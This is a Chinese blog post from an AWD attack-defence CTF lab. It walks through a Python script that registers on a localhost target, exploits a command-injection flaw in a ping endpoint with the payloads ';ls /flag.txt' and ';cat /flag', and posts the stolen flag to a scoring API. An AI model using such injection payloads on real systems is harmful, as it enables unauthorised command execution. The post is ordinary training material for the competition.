AWD靶机实战第二天:使用python脚本获取flag

上一部分我们通过读源码和利用源码审计的工具找到了这个漏洞,但是在比赛的时候有很多靶机,我们去一个个的注册,一个个的登录然后输入很浪费时间,所以我选择写一个python脚本来实现自动获得flag以及自动提交flag.

首先我们将这次的脚本分为四个部分

1,注册部分:我们需要注册一个账号之后才能登入系统,所以我们要知道注册界面有几个参数,我们使用burpsuite抓包查看

我们可以看到这里有四个参数是需要进行传入的而且是post传参,sex为0表示男,为1表示女。现在开始构造函数

import requests
def regeister():
    url ='http://localhost:8801/index.php?c=User&a=register'

    data = {
        'username':'123',
        'password':'123',
        'sex':0,
        'age':18
    }
    res = requests.post(url=url,data=data)

    if res.status_code == 200:
        print('注册成功')
    else:
        print('注册失败')

2.登录部分:注册成功之后,我们就要进行登录,登录就使用注册的账号和密码

def login():
    url1='http://localhost:8801/'
    grame = {
        'username':'123',
        'password':123,

    }
    res = requests.post(url=url1,data=grame)
    if res.status_code==200:
        print('登录成功')
    else:
        print('登录失败')

3.获得flag:成功的注册和登录之后,来到这个页面就可以开始利用我们的漏洞了

把url里面的home改为ping,然后post传参host的值为;ls /flag.txt,就可以拿到flag的值

def usevu():
    url2 = 'http://localhost:8801/index.php?c=User&a=ping'
    data={
        'host':';ls /flag.txt'
    }
    res = requests.post(url=url2,data=data)
    if res.status_code==200:
        flag=res.text
        print(flag)

运行之后是这样

4,自动提交flag:现在我们就要考虑如何进行自动提交flag,我们来到提交页面发现有提示,有请求头

请求体

然后接口在下面有提示

我们就直接写一个post提交就可以了

def submit(flags):
    url = 'http://localhost:19999/api/flag'
    headers={
        "Content-Type": "application/json",
        "Authorization": "e8b084904533203d71dbc24f6f2009c5"
    }
    flag=flags
    data = {
        "flag":flag
    }
    res = requests.post(url=url,json=data,headers=headers)
    if res.status_code==200:
        print('提交成功')
    else:
        print('提交失败')

注意这里面的post参数不能使用data了,因为header里面的格式写了使用json,所以这里一定要改为json,这里卡了我很久。最后成功提交

大屏也是显示成功

完整的代码展示如下,多IP的我就不在写了,如果有小伙伴感兴趣,可以自己添加多IP提交,今天的学习分享就到这里,谢谢大家的观看。

import requests
def regeister():
    url ='http://localhost:8801/index.php?c=User&a=register'

    data = {
        'username':'1234',
        'password':'1234',
        'sex':0,
        'age':18
    }
    res = requests.post(url=url,data=data)

    if res.status_code == 200:
        print('注册成功')
    else:
        print('注册失败')
def login():
    url1='http://localhost:8801/'
    grame = {
        'username':'1234',
        'password':'1234',

    }
    res = requests.post(url=url1,data=grame)
    if res.status_code==200:
        print('登录成功')
    else:
        print('登录失败')
def usevu():
    url2 = 'http://localhost:8801/index.php?c=User&a=ping'
    data={
        'host':';cat /flag'
    }
    res = requests.post(url=url2,data=data)
    if res.status_code==200:
        flag=res.text
        print(flag)
        return flag
    else:
        print('查找失败')
def submit(flags):
    url = 'http://localhost:19999/api/flag'
    headers={
        "Content-Type": "application/json",
        "Authorization": "e8b084904533203d71dbc24f6f2009c5"
    }
    flag=flags
    data = {
        "flag":flag
    }
    res = requests.post(url=url,json=data,headers=headers)
    if res.status_code==200:
        print('提交成功')
    else:
        print('提交失败')
if __name__=='__main__':
    regeister()
    login()
    flags=usevu()
    submit(flags=flags)

  • 5
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
awd(Attack-Defence,攻击与防守)是一种网络安全竞赛形式,参赛者需要在拥有相同的漏洞环境中,互相攻击对方的系统,同时保护自己的系统免受攻击。比赛的目标是尽可能获取对方系统中的标志性 flag。 在awd中,批量获取flag是指通过某种方法快速获取多个flag的行为。然而,批量获取flag是不被鼓励且违反竞赛规则的行为,因为它破坏了竞赛的公平性和技术竞争的原则。 竞赛组织者会采取一系列的措施防止批量获取flag的行为: 1. 漏洞环境的安全性:竞赛组织者会尽力确保漏洞环境的安全性,修复已知的漏洞并设置有效的防御机制,以防止参赛者通过简单的手法获取flag。 2. Flag的保护:竞赛组织者会对flag进行加密或隐藏,并设置多重保护措施。只有通过特定漏洞利用或完成特定任务的参赛者才能获取flag,从而增加了获取flag的难度。 3. 监控机制:竞赛组织者会设置监控系统,对参赛者的行为进行实时跟踪和分析。如果发现异常的获取flag行为,组织者将采取相应措施,并有权取消参赛者的资格。 总体而言,awd竞赛强调的是技术实力和攻防对抗的能力,追求公平竞争和攻击与防御技巧的提升。尝试批量获取flag不仅违背了竞赛规则,还会损害awd竞赛的精神和目的。因此,参赛者应该遵守竞赛规则,以合法的方式争取获取flag,并积极参与竞赛的学习和交流过程,提升自身的技术实力。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值